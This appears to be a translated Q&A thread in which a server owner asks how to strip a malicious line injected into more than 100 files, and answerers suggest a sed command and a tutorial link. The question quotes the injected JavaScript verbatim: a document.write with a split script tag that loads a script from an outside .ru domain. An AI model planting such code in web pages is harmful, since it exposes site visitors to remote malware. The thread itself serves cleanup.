0

最近我的 linux 服务器感染了恶意软件,结果,我有 100 多个文件被一行 Javascript 代码感染:

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');

手动删除它太累了,所以我深入研究了谷歌(不太了解 linux 并没有帮助),发现我可以为此目的使用 sed。

不幸的是,我无法逃脱这条线,所以我可以使用

sed -i.bak '/line of text/d' *

语法,它充满了单引号、双引号和反斜杠。

我怎么能逃脱字符串或者有其他更简单的方法吗?

4

2 回答 2

1

您能否仅使用 sed 删除任何包含例如 的行alienradar.ru,或仅存在于攻击行中的其他子字符串?就像是:

sed -i.bak '/alienradar.ru/d' *
于 2010-10-31T17:05:37.770 回答
0

http://www.configureweb.com/post/how-to-change-html-code-in-multiple-files-at-once 在从服务器下载所有文件并重新上传后遵循此

于 2012-11-15T21:45:02.173 回答